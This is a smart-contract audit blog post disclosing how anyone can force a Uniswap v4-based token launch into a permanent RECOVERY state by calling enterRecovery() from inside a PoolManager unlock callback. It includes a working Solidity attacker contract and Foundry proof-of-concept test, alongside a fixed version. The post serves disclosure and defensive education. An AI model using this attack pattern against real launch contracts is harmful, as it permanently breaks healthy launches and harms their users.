This is the fourth blog in our series Quill Findings, where we share interesting vulnerabilities our auditors found.

Today’s finding comes from a token launch protocol built on Uniswap v4 (). Tokens start on a bonding curve and later migrate into a Uniswap v4 pool. If that migration genuinely can’t go through, the launch drops into a RECOVERY state, which is terminal, there’s no way back out. We found a way for anyone to push a perfectly healthy launch into that state, for free.

How recovery is decided

When a migration looks stuck, anyone can call enterRecovery(). To decide whether migration is actually broken, the curve just tries it and treats any revert as proof of failure.

// BondingCurve.sol
function enterRecovery() external {
try migrationModule.migrate() {
// migration worked, nothing to recover from
} catch {
// any revert at all -> declare migration dead
state = State.RECOVERY;
}
}

The catch block doesn’t look at why the call reverted. That’s the gap.

The guard an attacker can trigger

The migration module refuses to run while Uniswap’s PoolManager is unlocked. On its own, this guard is correct, migrating mid-unlock would be unsafe.

// V4MigrationModule.sol
bytes32 constant IS_UNLOCKED_SLOT =
0xc090fc4683624cfc3884e9d8de5eca132f2d0ec062aff75d43c0465d5ceeab23;

function migrate() external view {
// reads the PoolManager’s lock flag through its public exttload()
if (poolManager.exttload(IS_UNLOCKED_SLOT) != 0) revert PoolManagerUnlocked();
// … real migration work …
}

The catch is that anyone can put the PoolManager into that unlocked state. In v4-core, unlock(bytes) is external and permissionless. It unlocks the manager, hands control back to the caller through unlockCallback, and only checks at the very end that all token balances settled to zero.

// Uniswap v4-core, PoolManager.sol
function unlock(bytes calldata data) external returns (bytes memory result) {
Lock.unlock();
result = IUnlockCallback(msg.sender).unlockCallback(data);
if (NonzeroDeltaCount.read() != 0) CurrencyNotSettled.selector.revertWith();
Lock.lock();
}

If the attacker settles nothing inside unlockCallback, NonzeroDeltaCount stays at zero, so the outer unlock() finishes cleanly. No tokens, no special access needed.

The attack

From inside their own callback, the PoolManager is unlocked, so the attacker just calls enterRecovery().

function unlockCallback(bytes calldata) external returns (bytes memory) {
// PoolManager is unlocked right now, so migrate() will revert
curve.enterRecovery(); // migrate() reverts with PoolManagerUnlocked()
return “”; // settle nothing, outer unlock() still succeeds
}

migrate() reverts with PoolManagerUnlocked(), the catch block treats it as a real failure, and a healthy launch is moved to terminal RECOVERY.

The root cause isn’t the PoolManager rejecting migration while unlocked, that behaviour is correct. It’s that enterRecovery() lets an attacker trigger that revert on purpose and then counts it as a genuine failure.

Proof of concept

This runs against the real Uniswap v4 PoolManager, so the unlock behaviour is exactly the production one.

src/Recovery.sol holds the launch contracts, the vulnerable BondingCurve plus V4MigrationModule, and their fixed versions:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {IPoolManager} from “v4-core/src/interfaces/IPoolManager.sol”;

/// @notice Minimal reproduction of the migration module. Not the audited
/// source. It refuses to migrate while Uniswap’s PoolManager is unlocked.
contract V4MigrationModule {
IPoolManager public immutable poolManager;

// Same slot as Lock.IS_UNLOCKED_SLOT in v4-core.
bytes32 constant IS_UNLOCKED_SLOT =
0xc090fc4683624cfc3884e9d8de5eca132f2d0ec062aff75d43c0465d5ceeab23;

error PoolManagerUnlocked();

constructor(IPoolManager _pm) {
poolManager = _pm;
}

function _isUnlocked() internal view returns (bool) {
return poolManager.exttload(IS_UNLOCKED_SLOT) != 0;
}

/// @notice Correct in isolation: migration must not run mid-unlock.
function migrate() external view {
if (_isUnlocked()) revert PoolManagerUnlocked();
// … real migration work would go here …
}
}

/// @notice Minimal reproduction of the bonding curve’s recovery path.
contract BondingCurve {
enum State { ACTIVE, RECOVERY }

State public state;
V4MigrationModule public immutable migrationModule;

constructor(V4MigrationModule _m) {
migrationModule = _m;
}

/// @notice Vulnerable: treats ANY revert from migrate() as a real failure.
function enterRecovery() external {
try migrationModule.migrate() {
// migration worked, nothing to recover from
} catch {
state = State.RECOVERY;
}
}
}

/// @notice Fixed bonding curve: checks migration is actually attemptable first.
contract BondingCurveFixed {
enum State { ACTIVE, RECOVERY }

State public state;
V4MigrationModuleFixed public immutable migrationModule;

constructor(V4MigrationModuleFixed _m) {
migrationModule = _m;
}

function enterRecovery() external {
require(migrationModule.isMigratable(), “migration not attemptable”);
try migrationModule.migrate() {
} catch {
state = State.RECOVERY;
}
}
}

/// @notice Fixed module: exposes a view reporting whether migration can run.
contract V4MigrationModuleFixed {
IPoolManager public immutable poolManager;

bytes32 constant IS_UNLOCKED_SLOT =
0xc090fc4683624cfc3884e9d8de5eca132f2d0ec062aff75d43c0465d5ceeab23;

error PoolManagerUnlocked();

constructor(IPoolManager _pm) {
poolManager = _pm;
}

function isMigratable() public view returns (bool) {
return poolManager.exttload(IS_UNLOCKED_SLOT) == 0;
}

function migrate() external view {
if (!isMigratable()) revert PoolManagerUnlocked();
}
}

test/ForcedRecovery.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2} from “forge-std/Test.sol”;
import {PoolManager} from “v4-core/src/PoolManager.sol”;
import {IPoolManager} from “v4-core/src/interfaces/IPoolManager.sol”;
import {IUnlockCallback} from “v4-core/src/interfaces/callback/IUnlockCallback.sol”;
import {
BondingCurve, BondingCurveFixed,
V4MigrationModule, V4MigrationModuleFixed
} from “../src/Recovery.sol”;

/// @notice The attacker’s unlockCallback calls enterRecovery() while the
/// PoolManager is unlocked, then settles nothing so unlock() still succeeds.
contract Attacker is IUnlockCallback {
PoolManager pm;
address curve;

constructor(PoolManager _pm, address _curve) {
pm = _pm;
curve = _curve;
}

function attack() external {
pm.unlock(“”);
}

function unlockCallback(bytes calldata) external returns (bytes memory) {
// PoolManager is unlocked right now, so migrate() will revert.
(bool ok,) = curve.call(abi.encodeWithSignature(“enterRecovery()”));
ok; // call itself succeeds, the inner revert is swallowed by try/catch
return “”; // settle nothing -> NonzeroDeltaCount stays 0 -> unlock() ok
}
}

contract ForcedRecoveryTest is Test {
PoolManager pm;

function setUp() public {
pm = new PoolManager(address(this));
}

function test_AttackerForcesHealthyLaunchIntoRecovery() public {
V4MigrationModule module = new V4MigrationModule(IPoolManager(address(pm)));
BondingCurve curve = new BondingCurve(module);

// migration is perfectly healthy: with the manager locked, it does not revert
module.migrate();
console2.log(“migration healthy while locked : true”);
assertEq(uint256(curve.state()), uint256(BondingCurve.State.ACTIVE));

// attacker unlocks the manager and calls enterRecovery() from the callback
Attacker attacker = new Attacker(pm, address(curve));
attacker.attack();

console2.log(“state after attack (0=ACTIVE,1=RECOVERY):”, uint256(curve.state()));
assertEq(uint256(curve.state()), uint256(BondingCurve.State.RECOVERY), “launch forced into RECOVERY”);
}

function test_FixedCurveResistsTheAttack() public {
V4MigrationModuleFixed module = new V4MigrationModuleFixed(IPoolManager(address(pm)));
BondingCurveFixed curve = new BondingCurveFixed(module);

Attacker attacker = new Attacker(pm, address(curve));

// same attack as before: unlock, then call enterRecovery() from the callback
attacker.attack();

// the isMigratable() guard rejects the call, so state never flips
console2.log(“state after attack (0=ACTIVE,1=RECOVERY):”, uint256(curve.state()));
assertEq(uint256(curve.state()), uint256(BondingCurveFixed.State.ACTIVE), “launch stays ACTIVE”);
}
}

Run it:

forge test –match-contract ForcedRecoveryTest -vv

Output:

Ran 2 tests for test/ForcedRecovery.t.sol:ForcedRecoveryTest
[PASS] test_AttackerForcesHealthyLaunchIntoRecovery() (gas: 551888)
Logs:
migration healthy while locked : true
state after attack (0=ACTIVE,1=RECOVERY): 1

[PASS] test_FixedCurveResistsTheAttack() (gas: 512694)
Logs:
state after attack (0=ACTIVE,1=RECOVERY): 0

Suite result: ok. 2 passed; 0 failed; 0 skipped

The first test shows migration is healthy while the manager is locked, then the attacker unlocks the manager, calls enterRecovery() from the callback, and the state flips to RECOVERY (1). The second test runs the same attack on the fixed curve and the state stays ACTIVE (0).

The fix

Before trying the migration, check whether it can actually run right now. If it can’t, stop instead of entering recovery. This check lives in the protocol’s own migration module, nothing changes on Uniswap’s side.

// V4MigrationModule.sol
function isMigratable() public view returns (bool) {
// same lock flag migrate() already checks
return poolManager.exttload(IS_UNLOCKED_SLOT) == 0;
}

// BondingCurve.sol
function enterRecovery() external {
// stop early if migration can’t run right now
require(migrationModule.isMigratable(), “migration not attemptable”);

try migrationModule.migrate() {
// migration worked, nothing to recover from
} catch {
// only reached when migration really fails
state = State.RECOVERY;
}
}

isMigratable() reads the same lock flag migrate() already checks, so the attacker’s call now stops at the first line, and recovery only happens when migration fails under normal conditions.

Ignoring only the PoolManagerUnlocked() error would also work today, but any similar “temporarily unavailable” error added to the migration path later would reopen the same hole. Checking up front avoids that.

Conclusion

When a failure leads to a permanent, irreversible state change, the contract shouldn’t just ask whether something failed, it should ask why. Here, a single revert anyone could trigger was enough to permanently kill a healthy launch.

Originally published at https://www.quillaudits.com.

Quill Findings: Forcing Recovery Through Uniswap Unlock was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

By

Leave a Reply

Your email address will not be published. Required fields are marked *